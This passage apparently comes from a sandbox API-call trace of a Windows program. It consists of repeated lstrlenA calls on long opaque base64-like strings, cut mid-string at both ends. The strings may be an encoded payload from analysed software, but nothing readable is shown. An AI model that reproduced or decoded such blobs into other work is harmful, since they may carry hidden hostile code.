SbWaazGC+oHawwVAZjhVu2LUiuq9a76xZM9XDVUDnBZKQtJqsRlkfQ4On0kk0DZSo3PI1hdycZ9YIp9+zhA8jDSdQMu2fA/D6vw/NoN3pIYCpJ9KWIb2zUTKpnxDWxXMYnz2+J1ZwVvNhkuI68Y1BbaYzjZq/0iUFT9X7KVboqbeuhu+wWc97VSlk4qHIq5gYhnoPYscPWrU4fD1KApAkIcuNJIi0nsUotOoDd1qVhQNl5ff5uYrdRg23FSU5DRgwlqo9QmMT2xd0OVEOHlUD+Yea6UDhhnIdVPFxM5/UhIaLXqO97ovabRGHzJrBPA8CR5Sab/B4GwFsYNIL/SosMF/N6BrZkuYVjiC+gsPWKe7XqiXDDbRVHzszFhzyPrjWgFpgHbg8pS2m04nNzjleUEoJWnx839sMPuknZ6EbcmX0XVk7EuDdOHs+xK22RuZsJwGuJFiR96raTnLNLRYkcXAuS5HbMbfgiT5h3zGQ5RgRn6kTaSTs5aJvLkYo0yL2/9/aBAzGxtcF/pTngc8/DTbkYi7v6almd46gauZzcJhJ/hRAfznSBaX3TXzvlwwWBWxKD+8QZWcIN/SLNSjY926DAx45oko8XmYQe1tyizClFib1u2IDMOTaWJOCQR00c0oRnhFvSCE0kTjc0AnEOfh2QBU4IofiadkQP53Bied2XkA8NcbuRmnQnSQ89DaDa/3h4wZhQFSfD6Z4FdtQfaZ/MYhv5o0LEZVdADC4jZETfFhUawYO6fiw2TPWTpcVEf3CSc3mBAZFAng6camyLLhtHsL24tHTFSDmtvgGQWDCLaSJAavl9Z36rbaQZviRaPECizFN5IYfmONDsT95lfe/1h70vyYsKQ1Uxj518FbqdY0uZJ+zNWsRnCaIkSNmWDkGGWlrFbLvvG000Qdq9ukh49mOh9XZnMsUxmYa8fjtv5UZNKFpSP/VODavbItL4bL1QcqqikQD8xymYECCOr5v2gIEFL3vTjDyJodz0wB5Cbmu5qK9s1hX4BvA4IziQcvaJ3qyaFOB68C6K6H5SV8ew+WCTfLaSYrRLDzrdvD7HSuzDy9rRdRm6Rt18EBj+TStzXkvgyTmfs/DbfixfoY93MvYD4gwYwE/No3AXTOP7Euj/HdTOc7Vmalz2RfbLOzoBlXiPmAn2QaYUc0lOuplD3V1jUJ9BEW3/lkl1d3t8Kxp4VSF0uZLwX0bxFaMvl4GembGuzP1TrhiqSKdu/uXFlPqsHPFFgaUG4k8h+peaNfpCRyvE2vQpxtFtRJ3Aq0XxqDWTm8JeZl69nIWRwqemylFWdq9AMokjYvTCeRRjDZ+ZrJM9Za5BuKAL5SVoocUmY8/0BzzpSx2xF3hXK+4RlxEKlNUcGWWZL/ud8L2o6E674K2jlrqyehrOWIK11//zgPwTff+fyKk5swMp8e7kgxsvk1TYLRRcJtNhcSF3H13eErTO2mVjK7xfghzFOEIbnoiMV0NNLKcBSgm+1wcqAghSK8KqFYE1w/wkhhW5f6hpXZUB2l8djg3I5dlRT1SzDNcuqlBrA/dvVYOOjBLQVDIUvw7o2aX0gbxuIfCL0XbLQ5AjH7YNodTlNw2pN5yJqtVvnxMkLc6p8QeTKkEPVOYnusItZqgC3niCkkq5mzVIA4vXLGwxfV7mUGmyD5oNpqYlYIkTLglgH65yE+hpWrAQaPM6Gh5imIoda30Eee+4bB1Rjw/eA3pzRocuIyZsqbcfDsJ0SUEakBGBhSCUKVFmRpFuKiJnt69EtvkeGiw/Cs//IcsJJEzkAlxK8DuVJN9FUiKav7HWfu7X4ffy8NPKo6qBEpx+wwFDIPpCrbCtr3bV+JWe65309F0BFVMhyBh+Uem4+w=") returned 5820
	[0084.640] lstrlenA (lpString="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") returned 5820
	[0084.640] lstrlenA (lpString="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") returned 5820
	[0084.640] lstrlenA (lpString="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